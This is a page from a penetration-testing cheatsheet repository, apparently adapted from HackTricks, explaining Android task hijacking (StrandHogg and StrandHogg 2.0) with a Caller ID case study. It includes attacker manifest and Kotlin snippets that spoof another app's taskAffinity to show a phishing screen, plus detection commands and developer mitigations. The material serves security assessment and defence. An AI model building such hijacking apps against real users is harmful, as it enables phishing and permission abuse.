daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

android-task-hijacking.md (9746B)


      1 ---
      2 title: "Android Task Hijacking"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Android Task Hijacking
     14 
     15 ## Task, Back Stack and Foreground Activities
     16 
     17 In Android, a **task** is essentially a set of activities that users interact with to complete a specific job, organized within a **back stack**. This stack orders activities based on when they were opened, with the most recent activity displayed at the top as the **foreground activity**. At any moment, only this activity is visible on the screen, making it part of the **foreground task**.
     18 
     19 Here's a quick breakdown of activity transitions:
     20 
     21 - **Activity 1** starts as the sole activity in the foreground.
     22 - Launching **Activity 2** pushes **Activity 1** to the back stack, bringing **Activity 2** to the foreground.
     23 - Starting **Activity 3** moves **Activity 1** and **Activity 2** further back in the stack, with **Activity 3** now in front.
     24 - Closing **Activity 3** brings **Activity 2** back to the foreground, showcasing Android's streamlined task navigation mechanism.
     25 
     26 ![https://developer.android.com/images/fundamentals/diagram_backstack.png](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28698%29.png)
     27 
     28 ---
     29 
     30 ## Task affinity attacks
     31 
     32 `taskAffinity` tells Android which task an `Activity` would *prefer* to belong to.  When two activities share the same affinity **Android is allowed to merge them inside the same back-stack even if they come from different APKs**.
     33 
     34 If an attacker can place a malicious activity at the **root** of that stack, every time the victim opens the legitimate application the malicious UI will be the first thing the user sees – perfect for phishing or abusive permission requests.
     35 
     36 The attack surface is wider than many developers think because **every activity automatically inherits an affinity equal to the application package name** (unless the developer sets `android:taskAffinity=""`).  Therefore *doing nothing* already leaves the app open to task hijacking on Android versions prior to 11.<sup>[[1]](#references)[[2]](#references)</sup>
     37 
     38 ### Classic "singleTask / StrandHogg" scenario
     39 
     40 1. The attacker declares an activity with:
     41    ```xml
     42    <activity android:name=".EvilActivity"
     43              android:exported="true"
     44              android:taskAffinity="com.victim.package"
     45              android:launchMode="singleTask" >
     46        <intent-filter>
     47            <action android:name="android.intent.action.MAIN"/>
     48            <category android:name="android.intent.category.LAUNCHER"/>
     49        </intent-filter>
     50    </activity>
     51    ```
     52 2. The malicious app is started once so that the task (with the spoofed affinity) exists in recent tasks.
     53 3. When the user later opens the real application, Android finds there is already a task whose **root affinity matches the package** and just brings that task to the foreground.
     54 4. The attacker’s UI is shown first.<sup>[[1]](#references)[[2]](#references)</sup>
     55 
     56 ### Default–Affinity (no `singleTask`) variant  – Caller ID case study
     57 
     58 The vulnerability reported in the **Caller ID (caller.id.phone.number.block)** application shows that the attack *also* works against the default `standard` launch mode:<sup>[[3]](#references)</sup>
     59 
     60 1. Attacker application creates a fake root activity and immediately hides itself:
     61    ```kotlin
     62    class HackActivity : AppCompatActivity() {
     63        override fun onCreate(savedInstanceState: Bundle?) {
     64            super.onCreate(savedInstanceState)
     65            moveTaskToBack(true)   // keep the task in recents but out of sight
     66        }
     67    }
     68    ```
     69 2. The manifest only needs to copy the victim package into `taskAffinity`:
     70    ```xml
     71    <activity android:name=".HackActivity"
     72              android:exported="true"
     73              android:taskAffinity="com.caller.id.phone.number.block" >
     74        <intent-filter>
     75            <action android:name="android.intent.action.MAIN"/>
     76            <category android:name="android.intent.category.LAUNCHER"/>
     77        </intent-filter>
     78    </activity>
     79    ```
     80 3. As soon as the user installs and opens the malicious app **once**, a task whose affinity equals the victim package exists (but sits in the background).
     81 4. When the real Caller ID application is launched, Android re-uses that task and brings `HackActivity` to the foreground → phishing window/permission abuse.
     82 
     83 > NOTE: Starting with **Android 11 (API 30)** the system does *not* place two packages that are not part of the same UID into the same task by default, mitigating this particular variant.  Older versions remain vulnerable.
     84 
     85 ---
     86 
     87 ### StrandHogg 2.0 (CVE-2020-0096) – Reflection-based task hijack
     88 
     89 Google’s May-2020 security bulletin fixed a more advanced variant dubbed **StrandHogg 2.0**.  The exploit **does not rely on `taskAffinity` at all**; instead it uses *reflection* to dynamically insert the attacker’s activity at the top of *every* running task, completely bypassing the “shared-UID” restriction introduced by Android 11.<sup>[[5]](#references)</sup>
     90 
     91 Key points:
     92 
     93 * A zero-permission malicious app can, once opened, iterate over running tasks and call hidden APIs to **re-parent** its own activity into any task.
     94 * Because the activity is inserted after run-time, neither `launchMode` nor static manifest analysis can detect the attack in advance.
     95 * Patched by back-porting a check into **Android 8.0/8.1/9** (May 2020 SPL).  **Android 10 and later are not affected.**
     96 
     97 Detection on pre-patched devices can be performed with `adb shell dumpsys activity activities` and watching for suspicious activities whose package name differs from the task’s *affinity*.
     98 
     99 Mitigation for legacy devices is the same as classic Task Hijacking **plus** run-time verification (e.g. calling [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) and validating your own package name).
    100 
    101 ---
    102 
    103 ## Detection & Exploitation checklist
    104 
    105 1. **Static review** – Pull `AndroidManifest.xml` from the target APK and check that each `<activity>` (or the global `<application>` element) contains `android:taskAffinity=""` (empty) **or** a customised value.  Tools such as:
    106    ```bash
    107    # Using apkanalyzer (Android SDK)
    108    apkanalyzer manifest print app.apk | grep -i taskaffinity
    109 
    110    # Using AXMLPrinter2
    111    java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
    112    ```
    113 2. **Dynamic review** – On the device open the target app and list tasks:
    114    ```bash
    115    adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
    116    ```
    117    A task whose root affinity equals the victim package but whose top activity belongs to a *different* package is a red flag.
    118 3. Craft a malicious app as described above, or use **[Drozer](https://github.com/WithSecureLabs/drozer)**:
    119    ```bash
    120    drozer console connect
    121    run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
    122    run app.activity.info com.victim
    123    ```
    124 
    125 ---
    126 
    127 ## Mitigation
    128 
    129 Developers should:<sup>[[4]](#references)</sup>
    130 
    131 * Explicitly set `android:taskAffinity=""` at the `<application>` level (recommended) **or** give each activity a unique, private affinity.
    132 * For highly sensitive screens, combine the above with `android:launchMode="singleInstance"` or modern [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) protections.
    133 * Upgrade the app’s `targetSdkVersion` and enforce **Android 11** behavioural changes where tasks are not shared across packages by default.
    134 * Target **Android 12 (API 31) or higher** so that the mandatory `android:exported` attribute forces developers to audit every externally-reachable component.
    135 * Consider run-time self-defence: periodically query `ActivityTaskManager` to ensure that your top activity’s package matches your own.
    136 
    137 ---
    138 
    139 ## Related UI-Hijacking techniques
    140 
    141 Task hijacking is often combined with or replaced by **tapjacking** (overlay-based UI deception).  The 2025 **TapTrap** research showed that fully transparent *animation-driven* activities can bypass the overlay-touch restrictions introduced in Android 12–14 and still trick users into granting dangerous permissions.<sup>[[6]](#references)</sup>  While TapTrap is not strictly *task* hijacking, the end-goal (phishing clicks) is identical – so modern assessments should check for both attack surfaces.
    142 
    143 ---
    144 
    145 ## References
    146 
    147 - [1] [A deep dive into Task Hijacking in Android](https://blog.dixitaditya.com/android-task-hijacking/)
    148 - [2] [Android task hijacking using moveTaskToBack() and excludeFromRecents](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
    149 - [3] [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
    150 - [4] [The Risk of Android StrandHogg Security Issue and How it can be Mitigated](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
    151 - [5] [Promon – StrandHogg 2.0 (CVE-2020-0096) technical write-up](https://promon.io/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability)
    152 - [6] [USENIX 2025 – TapTrap: Animation-Driven Tapjacking on Android](https://www.usenix.org/conference/usenixsecurity25/presentation/beer)